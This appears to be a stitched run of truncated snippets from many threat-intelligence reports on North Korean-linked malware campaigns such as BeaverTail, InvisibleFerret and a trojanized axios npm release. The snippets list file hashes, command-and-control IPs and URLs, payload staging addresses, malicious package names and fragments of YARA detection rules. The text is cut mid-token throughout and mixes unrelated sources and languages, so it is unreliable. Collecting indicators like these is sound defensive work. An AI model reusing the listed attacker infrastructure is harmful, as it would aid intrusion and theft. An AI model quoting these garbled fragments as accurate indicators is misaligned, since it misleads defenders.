04e3073b3cd5c5bfcde6f575ecf6e8c1 Size 11,042 bytes (382 lines) Type PowerShell Detection 12/76 VT Label trojan.boxter/powershell VT Tags powershell…","…fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 SHA256 hashes for BeaverTail - Windows EXE files: 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd 9e3a9dbf10793a27361b3cef4d2c87dbd3662646f4470e5242074df4cb96c6b4 d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6…","…FCCCall.exe d5c0b89e1dfbe9f5e5b2c3f745af895a36adf772f0b72a22052ae6dfa045cea6 FCCCall.exe 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd FCCCall.exe c0110cb21ae0e7fb5dec83ca90db9e250b47a394662810f230eb621b0728aa97 FCCCall…","…Indicator Type Filename Description First Seen 06816634fb019b6ed276d36f414f3b36f99b845ddd1015c2b84a34e0b8d7f083 SHA256 Letter from Ambassador Cho Hyun-Dong.pdf Lure document January 2025…","…& InvisibleFerret C2 servers: 95.164.17.24 185.235.241.208 SHA256 hashes for InvisibleFerret related components: 07183a60ebcb02546c53e82d92da3ddcf447d7a1438496c4437ec06b4d9eb287 10f86be3e564f2e463e45420eb5f9fbdb14f7427eac665cd9cc7901efbc4cc59 1c218d15b35b79d762b966db8bc2ca90fc62a95903bd78ac85648de1d828dbce…","…i/ URL:https://bitbucket.org/0xhpenvynb/mvp_gamba/downloads/ SHA256:aa0d64c39680027d56a32ffd4ceb7870b05bdd497a3a7c902f23639cb3b43ba1 SHA256:071aff6941dc388516d8ca0215b757f9bee7584dea6c27c4c6993da192df1ab9 SHA256:486f305bdd09a3ef6636e92c6a9e01689b8fa977ed7ffb898453c43d47b5386d SHA256:ec234419fc512baded05f7b29fefbf12f898a505f62c43d3481aed90fef3…","…Trojan.Script.Agent 02C31A426801C27D65B02D9E04C28FD4 MD5 initializeCaller.js (v1.4.6) Trojan.Script.Agent 078B18EB695DA94B85D29C94462BA64C MD5 chai-as-init-1.4.7.tgz Trojan.Script.Agent F8F5DF788C5B46E1FA779F01658F94C1 MD5 initializeCaller.js (v1.4.7)…","…SHA256 2.bat Loader January 2025 07a45c7a436258aa81ed2e770a233350784f5b05538da8a1d51d03c55d9c0875 SHA256 adobe.ps1 Dropper January 2025…","…2553649f232204966871cea80a5d0d6adc700ca) axios@0.30.4 (shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71) plain-crypto-js@4.2.1 (shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766) Network Indicators : C2 domain: sfrclak.com C2 IP: 142.11.206.73 C2 POST body (macOS) · packages.npm.org/product0 C2 POST body…","…SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd SHA1 978407431d75885228e0776913543992a9eb7cc4 MD5 089e2872016f75a5223b5e02c184dfec Size 265 bytes Type PowerShell Detection 3/76 VT Label trojan.powershell VT Tags detect-debug-environment ,…","…2bf2e4394 8efa928aa896a5bb3715b8b0ed20881029b0a165a296334f6533fa9169b4463b 77aec48003beeceb88e70bed138f535e1536f4bbbdff580528068ad6d184f379 0904eff1edeff4b6eb27f03e0ccc759d6aa8d4e1317a1e6f6586cdb84db4a731 d27c9f75c3f1665ee19642381a4dd6f2e4038540442cf50948b43f418730fd0a 51ddd8f6ff30d76de45e06902c45c55163ddbec7d114ad89b21811ffedb71974 d89c45d65…","…#Hash de los sitios suplantando a Zoom 09f7acb4dc385a965c7a70ca64faf005f246555a724a9c3d3029288ef085ba6e #Hash de los sitios suplantando eventos Web3 021efdb311c9ce6101d7f389c08b511e5f9b0ec3dab499b6f135fae9770ef047 Hay una forma muy fácil…","…URL:http://144.172.93.88:8080/gettext SHA256:72f96d15c4ffb3abadcac3ec4299714f35ca4b732ad7db3d268712ee0692d713 SHA256:0a716920017fba0b70b7295c6d7a06710df38c0d6158a12d3723343919da7fd2 SHA256:97fe475a4177de4e55f3791276fb0553f28fcc19d4edb73038c1ad7238ae265f SHA256:6ce66f7a2fe04fb451f12bcf4a1ac1c27b3fc02fac72c177d02f547c705e…","…MINIRAT The MINIRAT malware (SHA256: 0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270 ) is a lightweight backdoor written in go, with versions for x86 and ARM.…","…df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a9c22079c898fc112e67ce1caff8f54 C2…","…`api.gulgowsks.co` | | C2 IP (believed to be a Cloudflare proxy) | `104.21.17.189`, `172.67.178.21` | | MD5 (`app.jsc`) | `0b8015cbb1ffdc6efe6a306ff5b1115f` | | MD5 (`preflight.js`) | `28e756c61961b10a026999c80e6f3f9b` | | SHA256 (`preflight.js`) |…","…92ed0fcb64059670956468d7e0ef62edb15c967cd1f13fa8774e5e5c28ae SHA256:66c3d0eaf68dcc97c092ce48ed65df49a8dcb7e1c3e2137f98ad16826ee5ef8d SHA256:0c47f6db79f5c4db86227b1fba4528ca8c2f8a1e86302863add8fd3f966b1b30 SHA256:e4677a8fb20517393a761c49075f0e4fdfe80f28f6bdeacb246e7d9b3858542f SHA256:7f78ce8bd2c7e2ccd71fc62bcfb29ce5b0d91efaff4c51f629195efb0293…","…(com.onedrive.launcher.tmp) = eb3eae776d175f7fb2fb9986c89154102ba8eabfde10a155af4dfb18f28be1b5 SHA256 (D1yCPUyk.bin) = 0f41fd82cac71e27c36eb90c0bf305d6006b4f3d59e8ba55faeacbe62aadef90 SHA256 (D1YrHRTg.bin) = 0f41fd82cac71e27c36eb90c0bf305d6006b4f3d59e8ba55faeacbe62aadef90 SHA256 (localencode) =…","…9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c SHA256 hash for BeaverTail - macOS Mach-O executable file: 0f5f0a3ac843df675168f82021c24180ea22f764f87f82f9f77fe8f0ba0b7132 d801ad1beeab3500c65434da51326d7648a3c54923d794b2411b7b6a2960f31e SHA256 hashes for BeaverTail Installers - Windows MSI files:…","…SHA256 Letter from Ambassador Cho Hyun-Dong.pdf Lure document January 2025 0ff9c4bba39d6f363b9efdfa6b54127925b8c606ecef83a716a97576e288f6dd SHA256 temp.vbs Stager script January 2025…","…SHA256 XMRig.exe 94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1 SHA256 xmrig_config.json 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 SHA256 XMRig_Driver.sys C:\\Tsunami\\Tsunami Stable\\Tsunami Client\\obj\\Release\\net6.0\\win-x64\\Runtime Broker.pdb PDB-Path…","SHA-256 of the 5,895-byte stage 3 script the Neutralinojs payload XOR-decrypts from a BSC transaction. It configures the C2 environment and recursively fetches the final BeaverTail stage. OpenSourceMalware attributes the campaign to DPRK Contagious Interview from the GitHub persona and the BeaverTail final payload.","…Four days later, during a routine check, the same server was found hosting an obfuscated version of InvisibleFerret (SHA256: `128da948f7c3a6c052e782acfee503383bf05d953f3db5c603e4d386e2cf4b4d`), a malware strain attributed to Lazarus .…","…2tt.vbs (ma1.lnk) 13 MD5 89a725b08ab0e8885fc03b543638be96 ma2.lnk (임의명명) 14 MD5 12bfe00206b2e83c7ff79b657d3c56df 2tt.vbs (ma2.lnk) 15 C2 https://ausbildungsbuddy.de/modules/mod_mail/inc/get.php?ra=iew&zw=lk0100 1.bat…","…44 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a…","…7ffe3b 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c 13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9 52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7 C&C…","…RAT Attribute VT-Verified Value SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a SHA1 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e MD5 7a9ddef00f69477b96252ca234fcbeeb Size 657,424 bytes (642 KB) Type Mach-O fat binary (universal: x86_64 + ARM64)…","…699cd6c292b8a5933dabee63c74a9a3069ed6432c3433ab945ab46fe816d9e2c Size: 8,806,400 bytes Stage 3 Windows: MD5: 153e2f27e035252d5f7ace69948e80b2 SHA256: 1c8c1a693209c310e9089eb2d5713dc00e8d19f335bde34c68f6e30bccfbe781 Size: 8,493,056 bytes Network IOCs C2 Infrastructure:…","…9 MD5 35259b4caa400e4d663069a7f32f0138 icloud-cod.js (icloud-cod) 10 MD5 1593447fc915c3e26ea301e959f4e182 yoojae-validator.js (yoojae-validator) 11 MD5 5d2dae18af58b25aecdd7b21ec24ce81 index.js (event-utils)…","…of Compromise (IOCs) Malware-Related IOCs Type Indicator Notes Initial Multi-Payload Stager (tailwind.config.js / Payload1) 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8 SHA256 of initial payload Payload1_1 (Payload Stager) ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305 SHA256…","…Mach-O file eba9fdb2f077f9a3e14cf428162b967b5e6c189db19c33c5b11601efcd02b3d3 SHA256 payuniversal2 InvisibleFerret Mach-O file 17891f7db5a633c0186f3c2c8311a16a989b55bb0ba0430da7d2afb7f616c79c SHA256 nvidia.tar.gz Windows delivery archive 6a16b1ef16e999a0d32a4b9189f6f179d629ba143b5b03db06c95156ee089615 SHA256 update.vbs…","…ede7f3ece611ba6c1ac4a02cf6a618b4ebd7eec6d9426b2baab3b5e26246e275 b302be4f9c515eb68d3e8b1ad8388d45b788eca34e7d53726d05c310a8f66af7 18ec3c93e076e16447aee6fa390a44d3cb03e7f46e8466535ee76ed2041a88e5 75a82b9a2e7cfa0002fbbd1dbcb0bfaf5f6333169fd53507f7119593b9c4482e e3ed631addd7242e8c1f6faa90087742ff5b442e734132d2fe2594d65659eafd…","…SHA256 temp.vbs Stager script January 2025 18ee1393fc2b2c1d56d4d8f94efad583841cdf8766adb95d7f37299692d60d7d SHA256 temp.vbs Stager script February 2025…","…paths :443/0x/cls , :443/0x/ls 500 variant HTTP header X-Payload-B64 (response), Sec-V (request) 500 variant SHA-256 1a21bad1df69b51efebfd2fae849ac27722b0dfac7b1cb459cf81d38b36f9705 fa-solid-900.woff2 , 900 variant SHA-256 91e334655d31f84963e6b9369d41698f51b00d7a203cf314ceba01780e6f337c eslint.config.mjs at…","…acf3a6 ce80100a383730822221f3ce769ea5ccda0c583654cc7c119ecc50bfbb4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636 ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4 78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4 4e6a7b…","…), the same dependencies ( axios , parse-json , request , sqlite3 ), and an identical docs/api.md (SHA256: 1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4 ) as the deleted packages.E33 Both tarballs return HTTP 200 from the npm registry as of 2026-04-01.E5 References [E1]…","…8,806,400 bytes Stage 3 Windows: MD5: 153e2f27e035252d5f7ace69948e80b2 SHA256: 1c8c1a693209c310e9089eb2d5713dc00e8d19f335bde34c68f6e30bccfbe781 Size: 8,493,056 bytes Network IOCs C2 Infrastructure: 95.216.37.186:5000 (primary C2) 95.216.37.186:3011 (secondary…","…URL NICKEL ALLEY malware staging server 52f173a760db5d68e52ba1f1ac51c023 MD5 hash VBScript file used by NICKEL ALLEY (start.vbs) 2151d4d7dc8d6dca7242928a17ea3fb14f58ccef SHA1 hash VBScript file used by NICKEL ALLEY (start.vbs) 5e307ef3aa9f20d963382700173530cdc455c1523631bbe22ede3710a2a30373 SHA256 hash…","…2/76 axios-1.14.1.tgz 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd 2553649f2322049666871cea80a5d0d6adc700ca 21d2470cae072cf2d027d473d168158c 630,301 1/76 9.2 Hashes NOT on VirusTotal Hash Source…","…3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940 IP address: 23.254.226.90 HLOADER SHA256 hashes: 2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1 689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94 c6a48365c3db9761bd60981bdcdd87aced23d8e60067caa30fee501bf4b47b84…","…1617587CCDF5B0344089559ECF8FE7D39F6E07A6A64F74F2B44BFA2C8CB67983 1B75F70C226C9ADA8E79C3FDD987277B0199928800C51E5A1E55FF01246701DB 2360A69E5FD7217E977123C81D3DBB60BF4763A9DAE6949BC1900234F7762DF1 2546D239A262C24A6F8EA01D890CBC459A22DB79B379B6EC3B24FBB56EFB5381 3C8DBFCBB4FCCBAF924F9A650A04CB4715F4A58D51EF49CC75BFCEF0AC258A3E…","…Source: CISA AA24-109A. Hash type Value SHA256 2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1 SHA256 689cfaa9319f3f7529a31472ecf6b2e0ca6891b736de009e0b6c2ebac958cc94 Andariel / Stonefly: network indicators and wiper…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1}\", \"file\": {\"hash\": {\"md5\": [\"470275eaf344be97f9950c4c42a783ef\"], \"sha1\": [\"43f987c15ae67b1183c4c442dc3b784faf2df090\"], \"sha256\":…","…SHA-1 Hashes Value Note 24042a8eea9b9c20af1f7bae00296b44968a068f ContagiousDrop application (app.js) 44ddabf5b5d601077936a130a2863a96d2af1c8e ContagiousDrop application (app.js)…","…(teamsSDK.bin) = 871d8f92b008a75607c9f1feb4922b9a02ac7bd2ed61b71ca752a5bed5448bf3 SHA256 (ZoomApp.zip) = 24af069b8899893cfc7347a4e5b46d717d77994a4b140d58de0be029dba686c9 Filename: localencode Filename: OneDrive Filename: teamsSDK.bin Filename: D1YrHRTg.bin Filename: D1yCPUyk.bin Filename:…","…db7f4c82c732e8b107492cae419740ab 89,868 2/76 axios-1.14.1.tgz 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd 2553649f2322049666871cea80a5d0d6adc700ca 21d2470cae072cf2d027d473d168158c 630,301 1/76 9.2 Hashes NOT on VirusTotal Hash Source…","…in nvidia.pkg 65665c3faba4fbfed12488e945306b10131afb9d3ad928accdcef75e0945a086 SHA256 downx64.sh macOS installer script 25c9fc5c5564a74430b92cb658d43e441dee1b3c0f692dc2571ac2918efa9a52 SHA256 x64nvidia BeaverTail Mach-O file eba9fdb2f077f9a3e14cf428162b967b5e6c189db19c33c5b11601efcd02b3d3 SHA256 payuniversal2…","…installer used in ClickFake Interview campaign\" source = \"Sekoia.io\" creation_date = \"2025-03-19\" classification = \"TLP:GREEN\" hash = \"2805e6efa8877f5707d8e6b29610894f\" strings: $s0 = \"#!/bin/bash\" $s1 = \"PLISST_FILE=~/Library/\" $s2 = \"ZIP_URL=$ZIP_\" $s3 = \"chmod +x\" condition: filesize < 5KB and…","…SHA256 windows-js-pipeline.js.enc May 2026 2812e0847d472cb8870c94f463331dbe53b84135132b9bf5f6d84c2382be628f SHA256 detect_malware.py.enc May 2026 52886aab179f26421678ff23af1b0fabf0a17ffbb534369cdbbac8008cbed8e7…","…Broker.pdb PDB-Path 3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086 SHA256 Packed Sample from Onion 28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630 SHA256 Unpacked Sample from Onion a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acb SHA256 23.254.229.101 IPv4…","…SHA256 ETHW_Miner.exe f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570fea SHA256 ldbdump.exe 2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770 SHA256 XMRig.exe 94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1 SHA256 xmrig_config.json…","…Stage-2 hard C2: http://51.178.11.181:1224/api/checkStatus (OVH FR; PTR e1.scimedopenpublisher.info ) Loader sample: SHA-256 28c9d28477ba63486a086bc02a82bf9c2734df20f2b9f37b8e0aabf3cd03833d (4,859 B, obfuscated JS) Campaign tag: base64 Y3Jhc2ggdGhlIGJhZCBndXlz = “crash the bad guys” Social-engineering infra: ritualhub.net…","…proxy) | `104.21.17.189`, `172.67.178.21` | | MD5 (`app.jsc`) | `0b8015cbb1ffdc6efe6a306ff5b1115f` | | MD5 (`preflight.js`) | `28e756c61961b10a026999c80e6f3f9b` | | SHA256 (`preflight.js`) | `d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80532bec` (Defender detection name:…","…1 stager): SHA256: 37e9dde0f35864e2ea8dcd4c8b5324ef50e3798195d04c30ba6938352af702db reading-cookies/index.js (entry point): SHA256: 2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065 Environment Variables (set by attacker in install context) DEV_API_KEY — base64(jsonstorage.net URL) DEV_SECRET_KEY —…","…our research, we found multiple similarities with a previous sample we have determined to be a Windows variant of Koi Stealer (SHA256: 2b8c057cf071bcd548d23bc7d73b4a90745e3ff22e5cddcc71fa34ecbf76a8b5 ).…","…forged unsigned \"4.30.0\" commit in github.com/nanxiaobei/antd-img-crop (legit repo; force-pushed 2026-10-31) 2 file_sha256 2c09fce2856bcd92b8afea424da0f9daa67bf2d22ceb625af60deaabd3d0573d scripts/prebuild.js stage 1 dropper 3 file_sha256 7f287aa27edecd135400060c3581bcbcf6320b53bb23da4f1bc0421bfd2c239c package.json…","…, ~/.npl , ~/.pyp/ Repository .vscode/tasks.json , routes/api/auth.js (line 18), package.json ( prepare ) SHA-256 text copy 2f387c2589bc9cf1f1d6b7535a5c43f68a3dc431c54db44f3b028ae640de3eec repo .vscode/tasks.json 1875cdcd577c10d1c7f193a5cba7a4483007274e36dbae493c9babb6a3d44e28 repo .vscode/settings.json…","…Compromise Domain Name zkservice.cloud w3capi.marketing payloadrpc.com IP 45.159.248.55 MD5 ef13692228ee8e929c6e2e463b1ec30b 30ed90b4a570d6ff0c29759bfff491c2 01abb0b0fff83bea08eef2a1bd8cb413 9154c7d643e6d762dd1ab1df9125e4ea SHA-256…","…Info 1 MD5 01abb0b0fff83bea08eef2a1bd8cb413 BeaverTail+OtterCookie (일부 난독화) 2 MD5 30ed90b4a570d6ff0c29759bfff491c2 OtterCookie (난독화X) 3 MD5 9154c7d643e6d762dd1ab1df9125e4ea BeaverTail+OtterCookie (난독화) 4…","…1JZUwXAhc4Hv7DIereUloKjH8Uhnw9vsQY9oq175PbclUjwm6bg52vH.aspx SHA256:f5669d80eb52f8b6fc90f5c5db98182e7d5297073f120a67b22700bf88c17d27 SHA256:318792ed0fcb64059670956468d7e0ef62edb15c967cd1f13fa8774e5e5c28ae SHA256:66c3d0eaf68dcc97c092ce48ed65df49a8dcb7e1c3e2137f98ad16826ee5ef8d SHA256:0c47f6db79f5c4db86227b1fba4528ca8c2f8a1e86302863add8fd3f966b…","…017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d…","…96e78074218a0f272f7f94805cabde1ef8d64ffb 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 321972e4e72c5364ec1d5b9e488d15c641fb1819 3405469811bae511e62cb0a4062aadb523cad263 c0baa450c5f3b6aacde2807642222f6d22d5b4bb DPRK Easter Egg The attackers seem to…","…ad2106 7846a0a0aa90871f0503c430cc03488194ea7840196b3f7c9404e0a536dbb15e 4e0034e2bd5a30db795b73991ab659bda6781af2a52297ad61cae8e14bf05f79 32257fb11cc33e794fdfd0f952158a84b4475d46f531d4bee06746d15caf8236 SHA1…","…will find different hashes due to the non-deterministic nature of the obfuscator. You can view an original sample on my website , hash 323ba89ec7410656629f8a1e7890d3025739adcbb8497f1c737a7465c13eb1fd from package @jaime9008/math-service v1.0.2. It contains a hardcoded XOR key, string fdfdfdfdf3rykyjjgfkwi .…","…be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a9c22079c898fc112e67ce1caff8f54 C2…","…96e78074218a0f272f7f94805cabde1ef8d64ffb 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 321972e4e72c5364ec1d5b9e488d15c641fb1819 3405469811bae511e62cb0a4062aadb523cad263 c0baa450c5f3b6aacde2807642222f6d22d5b4bb DPRK Easter Egg The attackers seem to have left an intriguing easter egg on their…","…= \"Detect's Lazarus Go interpreted Backdoor\" source = \"Sekoia.io\" creation_date = \"2025-03-20\" classification = \"TLP:GREEN\" hash = \"341ba2e57a0f108be75a1515d32a008a\" strings: $ = \"func processInfo(\" $ = \"func processUpload(\" $ = \"func processWait(\" $ = \"func processOsShell(\" $ = \"func…","…(node-clog) 8 MD5 a7e5334e37358902442c891e5d0008f8 index.js (is-buffer-validator) 9 MD5 35259b4caa400e4d663069a7f32f0138 icloud-cod.js (icloud-cod) 10 MD5 1593447fc915c3e26ea301e959f4e182 yoojae-validator.js (yoojae-validator)…","…GitHub repository May 2026 23.137.105.75 IP address C&C IP May 2026 35813f4401d3ad77b618275473a556eb47bfa6f4b7439dd8943b19f81aa7252e SHA256 settings.json May 2026 c935808147f0236c81483d7bbeda4b9d602f3595d5d4057f8115d39e222d1c4b…","…SHA1 3630d9daeb501bf345299aacc710fd68aa7a154f 98746c50fc4aa656fe3a5747cc05ecaa7c17243b 64c3b90c4093091c4cdedce4b7807dd790323624 a94cef78aa9f22284c7e733680a1369caa50f035…","…2c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182 C2 http://216.74.123.191:8080 http://95.169.180.146:8080…","…d801ad1beeab3500c65434da51326d7648a3c54923d794b2411b7b6a2960f31e SHA256 hashes for BeaverTail Installers - Windows MSI files: 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 de6f9e9e2ce58a604fe22a9d42144191cfc90b4e0048dffcc69d696826ff7170 fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0…","…Filename SHA256 FCCCall.msi fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 FCCCall.msi 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 FCCCall.msi d502f822e6c52345227b64e3c326e2dbefdd8fc3f844df0821598f8d3732f763 FCCCall.exe…","…File Name FCCCall.msi MD5 8ebca0b7ef7dbfc14da3ee39f478e880 SHA1 5cce14436b3ae5315feec2e12ce6121186f597b3 SHA256 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 File Type MSI File Size 152.37 MB Description Forged FCCCall video conferencing installation package, cryptocurrency theft…","…blockchain pointers as the Joyfill in-process branch. A captured /$/1 payload decodes to an 82,457-byte Python infostealer, SHA-256 36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c .…","…all of them } rule G_APTFIN_Downloader_SUGARLOADER_1 { meta: author = \"Google Threat Intelligence Group (GTIG)\" md5 = \"3712793d3847dd0962361aa528fa124c\" date_created = \"2025/10/15\" date_modified = \"2025/10/15\" rev = 1 strings: $ss1 = \"/Library/OSRecovery/com.apple.os.config\"…","…Payload.pdb PDB-Path C:\\Tsunami\\Tsunami Stable\\Tsunami Client\\obj\\Release\\net6.0\\win-x64\\Runtime Broker.pdb PDB-Path 3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086 SHA256 Packed Sample from Onion 28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630 SHA256 Unpacked Sample from Onion…","…13 MD5 464b8bf3a3047833edf3dd35b4a35053 index.js (empty-array-validator) 14 MD5 37c14026d60c7488e39136d9ed6b47e9 index.js (twitterapis) 15 C2 144.172.86.27:1224/client/8/80 16 C2…","…Size: 3,546,678 bytes reading-cookies/lib/caller.js (stage 1 stager): SHA256: 37e9dde0f35864e2ea8dcd4c8b5324ef50e3798195d04c30ba6938352af702db reading-cookies/index.js (entry point): SHA256: 2956b023858d706a5e241cd28b845088e5f414c5f70bd5d8cb73cb427d081065 Environment Variables…","…directory Payload SHA-256 (2.12.2) a3c28435295fed4babdeefedcefdd0ed037ff24ed3ff363a49d080c2768d07f2 Payload SHA-256 (2.12.3) 3a9089e9db3650dd6d1584fae709022002dc34854b961abfb014a90f0a7c6a50 Launcher SHA-256 aa01a83c7a420c22a719b02ec327451ddd751ab5b189fd0127824ea43533b96a Related advisories MAL-2026-6672, MAL-2026-11205,…","…또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…Updating V3 to the latest version can help prevent malware infection in advance. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…at 1b16bd46b7 SHA-256 fbf0e36dd7eb1e70fc4868a8d0d0cd8f6c80753241cd88a3518f40e9a67d232e .vscode/tasks.json at 1b16bd46b7 SHA-256 3b572a613f5013a64e1877dfed3873f2bcbd52e5259b199d41e02c33840abbcb fa-solid-300.llf , first seen 2026-09-28; identical in all three repos SHA-256…","…JSON response f6d9f2fbf8091f431a802c4a0b8a5661278ee3f0854fb9040a0702e894b2309e,SHA-256,4,/0/body response (XOR encoded) 3be09f8c0a95f993a0ee99e08dca08eb15e1c0abeaf90b190a76e842028e552b,SHA-256,5,Python stealer from /$/1 ~/.node_modules,File path,4,Private npm prefix for axios and socket.io-client /tmp/tmp7A863DD1.tmp,File…","…baedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e5…","…Name Reference 8e571d58794b9b44ae53c2c67bedef72c500e8adbb80aab7a5c263adcba55b1e SHA-256 ecommerce-main.zip Trojanized repository 3e6360f83a95540aa2176d279ca4694513afb1e5116a7ffe591c6b5bcf3b9c3c SHA-256 next-ecommerce-private-main.zip Trojanized repository 4e7639045b4a64de60bfb6312951a5c3dffbd3fb04b84837663242ed27f09864 SHA-256…","…NO Type Data Info 1 MD5 9a9b4f36809506529a85e915d3cf5057 zoom 2 MD5 4036fee4fbe561315ff183e1dcc3e83f ramsey (UPX Unpack) 3 MD5 ae10f33eabaa385d671b184bc13bdfe7 loader(추정) (UPX Unpack) 8.…","…Hash: 41ee7ddb2be173686dc3a73a49b4e93bc883ef363acca770f7ede891451122ab Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates . Tags cyber security Cyber Security…","…12 MD5 839fe5b6de8dee3f25c9a393f6f38310 index.js (event-handle-package) 13 MD5 464b8bf3a3047833edf3dd35b4a35053 index.js (empty-array-validator) 14 MD5 37c14026d60c7488e39136d9ed6b47e9 index.js (twitterapis)…","…c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d verify_m stage 2 bash loader (Linux/macOS) 6 payload_sha256 465cd1a445782c72cbb30e82e57ebbae38f1535f248bf821b11bc4897d90180e verify_w / v.cmd stage 2 batch loader (Windows) 7 payload_url https://icagllmbt.space/verify_m stage 2 Linux/macOS 8 payload_url…","…C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22 46f5eea70d536f7affe40409d7aaa5fa0009f0dc4538ba2867cb7569737db859 8c8f5f095d65d3f33ce89a77dfbe84a79bb29d2e0073a57a23dcc014d0683c2e 506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4…","…Data Info 1 MD5 98a8d1c6fc75fcf0c8cc8ae45edb387f prepare-writer.js (snore-log) 2 MD5 